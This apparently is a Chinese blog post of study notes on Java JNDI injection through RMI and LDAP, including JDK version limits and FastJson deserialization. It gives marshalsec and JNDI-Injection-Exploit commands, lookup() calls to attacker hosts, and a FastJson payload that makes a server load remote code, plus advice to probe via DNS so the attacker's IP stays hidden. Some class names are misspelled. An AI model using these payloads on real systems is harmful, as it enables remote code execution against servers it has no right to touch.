JAVA-JNDI&RMI&LDAP
# JNDI 注入
JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似 JDBC 都是构建在抽象层上。
JNDI 注入,即当开发者在定义 JNDI
接口初始化时, lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
通过 JNDI 接口,用户可以透明的调用远程服务,执行一些恶意命令
**RMI:** 远程方法调用注册表
**LDAP:** 轻量级目录访问协议
JNDI 注入对 JAVA 版本有相应的限制
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211 以下 | 7u201 以下 | 8u191 以下 | 11.0.1 以下 |
RMI | 6u132 以下 | 7u122 以下 | 8u113 以下 | 无 |
Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。javax.naming.InitialContext.lookup ()
# JNDI 远程调用 - JNDI-Injection
- 调用 rmi ldap 等服务对象类(远程服务)
ldap://121.41.34.25:1389/5x8adw = 远程地址的一个 class 文件被执行
# JNDI 远程调用 - marshalsec
生成恶意程序
将编译后的 .class
文件放在本地或者云服务器的 web 应用目录中
使用利用工具生成调用协议(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip.xx.xx.xxx/Test
使用远程调用 (默认端口 1389)
new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");
JNDI-Injection & marshalsec 实现原理:
例:RMI 调用
-
bind:将名称绑定到对象中;
-
lookup:通过名字检索执行的对象;
-
Reference 类表示对存在于命名 / 目录系统以外的对象的引用。
-
Reference 参数:
- className:远程加载时所使用的类名;
- classFactory:加载的 class 中需要实例化类的名称;
- classFactoryLocation:远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议;
# DNS 协议
通过上面我们可知 JNDI
注入可以利用 RMI
协议和 LDAP
协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP
。在没有确定存在漏洞前,直接在直接服务器上使用 RMI
或者 LDAP
去执行命令,通过日志可分析得到攻击者的服务器 IP
,这样在没有获取成果的前提下还暴露了自己的服务器 IP
,得不偿失。 我们可以使用 DNS
协议进行探测,** 通过 DNS
协议去探测是否真的存在漏洞,再去利用 RMI
或者 LDAP
去执行命令,** 避免过早暴露服务器 IP
,这也是平常大多数人习惯使用 DNSLog
探测的原因之一,同样的 ldap
和 rmi
也可以使用 DNSLog
平台去探测。
# JNDI 注入 - FastJson
JavaEE 中接受用户提交的 JSON 数据进行转换 (FastJson 反序列化漏洞)
利用 InitialContext.lookup () 中的进行 JdbcRowSetImpl 类 JNDI 服务注入
漏洞利用 FastJson autotype 处理 Json 对象的时候,未对 @type 字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 RMI 主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。
创建一个接受 json 数据的 web 页面:
1 | <html> |
生成远程调用方法
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.200.130 |
提交 JSON 数据 Payload
1 | {“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true} |
------->
Java 为了将 0bject 对象存储在 Naming 或 Directory 服务下,提供了 Naming14Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,
比如 RMI、LDAP 等。javax.naming.InitialContext.lookup ()
在 RMI 服务中调用了 InitialContext.lookup () 的类有:
- org.springframework.transaction.ita.JtaTransactionManager.readObiect()
- com.sun.rowset.UdbcRowSetImpl.execute()
- javax.management.remote.rmi.RMIConneclor.connect()
- org.hibernate.imx.StatisticsService.setSessionFactoryINDIName (String sfINDIName)
在 LDAP 服务中调用了 InitialContext.lookup () 的类有:
- InitialDirContext.lookup()
- Spring LdapTemplate.lookup()
- LdapTemplate.lookupContext()
# 高版本绕过
[浅析高低版 JDK 下的 JNDI 注入及绕过 Mi1k7ea ]
- Title: JAVA-JNDI&RMI&LDAP
- Author: Fc04dB
- Created at : 2024-08-31 13:03:40
- Updated at : 2024-09-02 00:32:22
- Link: https://redefine.ohevan.com/2024/08/31/JAVA-JNDI-RMI-LDAP/
- License: This work is licensed under CC BY-NC-SA 4.0.